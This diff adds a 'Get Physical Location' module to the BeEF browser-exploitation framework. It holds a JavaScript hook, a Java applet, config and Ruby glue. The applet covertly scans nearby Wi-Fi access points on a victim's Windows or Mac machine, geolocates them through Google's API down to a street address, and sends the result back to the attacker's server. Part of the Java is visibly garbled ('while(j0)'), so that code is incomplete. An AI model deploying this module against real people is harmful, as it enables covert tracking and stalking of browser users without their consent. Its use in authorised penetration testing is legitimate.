diff --git a/modules/host/get_physical_location/command.js b/modules/host/get_physical_location/command.js
new file mode 100755
index 000000000..b03433e90
--- /dev/null
+++ b/modules/host/get_physical_location/command.js
@@ -0,0 +1,30 @@
+//
+// Copyright 2011 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+beef.execute(function() {
+ var applet_archive = 'http://'+beef.net.host+ ':' + beef.net.port + '/getGPSLocation.jar';
+ var applet_id = '<%= @applet_id %>';
+ var applet_name = '<%= @applet_name %>';
+ var output;
+ beef.dom.attachApplet(applet_id, 'getGPSLocation', 'getGPSLocation' ,
+ null, applet_archive, null);
+ output = document.getGPSLocation.getInfo();
+ if (output) {
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'location_info='+output.replace(/\n/g,"
"));
+ }
+ beef.dom.detachApplet('getGPSLocation');
+});
+
+
diff --git a/modules/host/get_physical_location/config.yaml b/modules/host/get_physical_location/config.yaml
new file mode 100755
index 000000000..afbb27215
--- /dev/null
+++ b/modules/host/get_physical_location/config.yaml
@@ -0,0 +1,26 @@
+#
+# Copyright 2011 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+beef:
+ module:
+ get_physical_location:
+ enable: true
+ category: "Host"
+ name: "Get Physical Location"
+ description: "This module will retrieve geolocation information based on the neighboring wireless access points using commands encapsulated within a signed Java Applet.
The details will include:
- - GPS Coordinates details
- - Street Address details
If the victim machine has a firewall that monitors outgoing connections (Zonealaram, LittleSnitch, ..), calls to Google maps will be alerted."
+ authors: ["keith_lee @keith55 http://milo2012.wordpress.com", "antisnatchor"]
+ target:
+ working: ["IE"]
+ user_notify: ["C", "S", "O", "FF"]
diff --git a/modules/host/get_physical_location/getGPSLocation.class b/modules/host/get_physical_location/getGPSLocation.class
new file mode 100755
index 000000000..3a3756f0b
Binary files /dev/null and b/modules/host/get_physical_location/getGPSLocation.class differ
diff --git a/modules/host/get_physical_location/getGPSLocation.jar b/modules/host/get_physical_location/getGPSLocation.jar
new file mode 100755
index 000000000..035987367
Binary files /dev/null and b/modules/host/get_physical_location/getGPSLocation.jar differ
diff --git a/modules/host/get_physical_location/getGPSLocation.java b/modules/host/get_physical_location/getGPSLocation.java
new file mode 100755
index 000000000..a9ef449cf
--- /dev/null
+++ b/modules/host/get_physical_location/getGPSLocation.java
@@ -0,0 +1,244 @@
+import java.io.*;
+import java.util.*;
+import java.net.*;
+import java.applet.*;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+// Keith Lee
+// Twitter: @keith55
+// http://milo2012.wordpress.com
+// keith.lee2012[at]gmail.com
+
+public class getGPSLocation extends Applet{
+ public static String result = "";
+
+ public getGPSLocation(){
+ super();
+ return;
+ }
+ public static String getInfo() {
+ return result;
+ }
+
+ public void init() {
+ if (isWindows()) {
+ //System.out.println("This is Windows Machine");
+ result=getWindows();
+ } else if (isMac()) {
+ //System.out.println("This is Mac Machine");
+ result=getMac();
+ } else {
+ //System.out.println("Your OS is not support!!");
+ }
+ }
+
+ public static String getWindows(){
+ String result = null;
+ try {
+
+ ArrayList ssidList = new ArrayList();
+ ArrayList bssidList = new ArrayList();
+ ArrayList rssiList = new ArrayList();
+
+ Process p = Runtime.getRuntime().exec("netsh wlan show networks mode=bssid");
+
+ BufferedReader in = new BufferedReader(
+ new InputStreamReader(p.getInputStream()));
+ String line = null;
+ String signal = null;
+ String ssidStr = null;
+
+ while ((line = in.readLine()) != null) {
+
+ Pattern p1 = Pattern.compile("(SSID\\s\\d+\\s:)\\s([\\w\\s]*)");
+ Matcher m1 = p1.matcher(line);
+ if(m1.find()){
+ ssidStr = m1.group(2);
+ ssidStr = ssidStr.replaceAll(" ","%20");
+ ssidList.add(ssidStr);
+ }
+ Pattern p2 = Pattern.compile("(BSSID\\s1\\s*:)\\s((.?)*)");
+ Matcher m2 = p2.matcher(line);
+ if(m2.find()){
+ bssidList.add(m2.group(2));
+ }
+ Pattern p3 = Pattern.compile("(Signal\\s*):\\s((.?)*)");
+ Matcher m3 = p3.matcher(line);
+ if(m3.find()){
+ signal = m3.group(2);
+ signal = signal.replaceAll("%","");
+ signal = signal.replaceAll(" ","");
+ signal = "-"+signal;
+ rssiList.add(signal);
+ }
+ }
+
+ int arraySize=ssidList.size();
+ if(arraySize==0){
+ //System.out.println("I don't know where the target is");
+ result="\nI don't know where the target is";
+ }
+ else{
+ result=googleLookup(bssidList,ssidList,rssiList);
+ }
+ } catch (Exception e) {
+ System.out.println(e.getMessage());
+ }
+ return result;
+ }
+
+ public static String googleLookup(ArrayList bssidList,ArrayList ssidList,ArrayList rssiList){
+ try {
+ int j=0;
+ String queryString = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true";
+ while(j0){
+ result+="\nLocation is not accurate\n";
+ //System.out.println("Location is not accurate\n");
+ }
+ else{
+ if(output.indexOf("lat")>0){
+ output = output.replace("\"lat\" : ","");
+ output = output.replaceAll("^\\s+", "");
+ geoCoordinates = output;
+ result+="\nLatitude: ";
+ result+=output;
+ //System.out.println("Latitude: "+output);
+ }
+ if(output.indexOf("lng")>0){
+ output = output.replace("\"lng\" : ","");
+ output = output.replaceAll("^\\s+", "");
+ geoCoordinates += output;
+ result+="\nLongitude: ";
+ result+=output;
+ //System.out.println("Longitude: "+output);
+ }
+ }
+
+ }
+
+
+ //Reverse geocoordinates to street address
+ String reverseGeo = "https://maps.googleapis.com/maps/geo?q="+geoCoordinates+"&output=json&sensor=true_or_false";
+
+ //System.out.println(reverseGeo);
+
+ URL url1 = new URL(reverseGeo);
+ URLConnection urlc1 = url1.openConnection();
+ urlc1.setRequestProperty("User-Agent", "Mozilla 5.0 (Windows; U; "+ "Windows NT 5.1; en-US; rv:1.8.0.11) ");
+ BufferedReader reader1 = new BufferedReader(new InputStreamReader(urlc1.getInputStream()));
+ for (String output1; (output1 = reader1.readLine()) != null;) {
+ if(output1.indexOf("address")>0){
+ output1 = output1.replace("\"address\": ","");
+ output1 = output1.replace("\",","");
+ output1 = output1.replace("\"","");
+ output1 = output1.replaceAll("^\\s+", "");
+ result+="\nAddress is ";
+ result+=output1;
+ //System.out.println("Address is "+output1);
+ }
+ }
+ String mapAddress = "http://maps.google.com/maps?q="+geoCoordinates+"+%28You+are+located+here%29&iwloc=A&hl=en";
+ result+="\n"+mapAddress;
+ //System.out.println("\n"+mapAddress);
+ } catch (Exception e) {
+ System.out.println(e.getMessage());
+ }
+ return result;
+ }
+
+ public static String getMac(){
+ String result = null;
+ try {
+ Process p = Runtime.getRuntime().exec("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport scan");
+ BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
+ String line = null;
+ String ssidStr = null;
+ String signal = null;
+
+ String queryString = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true";
+
+ ArrayList ssidList = new ArrayList();
+ ArrayList bssidList = new ArrayList();
+ ArrayList rssiList = new ArrayList();
+
+ line = in.readLine();
+ while ((line = in.readLine()) != null) {
+ line = line.replaceAll("^\\s+", "");
+
+ Pattern p1 = Pattern.compile("((.?)*\\s\\w*):(\\w*:\\w*:\\w*:\\w*:\\w*)\\s((.?)*)\\s(\\d+)");
+ Matcher m1 = p1.matcher(line);
+ if(m1.find()){
+ ssidStr = m1.group(1);
+ ssidStr = ssidStr.replaceAll(" ","%20");
+ ssidList.add(ssidStr);
+ bssidList.add(m1.group(2));
+ signal = m1.group(3);
+ signal = signal.replaceAll(" ","");
+ rssiList.add(signal);
+ }
+
+ }
+ int arraySize=ssidList.size();
+ if(arraySize==0){
+ result="\nI don't know where the target is";
+ //System.out.println("I don't know where the target is");
+ }
+ else{
+ result=googleLookup(bssidList,ssidList,rssiList);
+
+ }
+ } catch (Exception e) {
+ System.out.println(e.getMessage());
+ }
+ return result;
+ }
+
+ public static boolean isWindows() {
+
+ String os = System.getProperty("os.name").toLowerCase();
+ // windows
+ return (os.indexOf("win") >= 0);
+
+ }
+
+ public static boolean isMac() {
+
+ String os = System.getProperty("os.name").toLowerCase();
+ // Mac
+ return (os.indexOf("mac") >= 0);
+
+ }
+
+ public static boolean isLinux() {
+
+ String os = System.getProperty("os.name").toLowerCase();
+ // linux or unix
+ return (os.indexOf("nix") >= 0 || os.indexOf("nux") >= 0);
+
+ }
+
+ }
diff --git a/modules/host/get_physical_location/module.rb b/modules/host/get_physical_location/module.rb
new file mode 100755
index 000000000..9487c3a26
--- /dev/null
+++ b/modules/host/get_physical_location/module.rb
@@ -0,0 +1,26 @@
+#
+# Copyright 2011 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+class Get_physical_location < BeEF::Core::Command
+ def pre_send
+ BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_physical_location/getGPSLocation.jar', '/getGPSLocation', 'jar')
+ end
+
+ def post_execute
+ save({'result' => @datastore['location_info']})
+ end
+
+end
+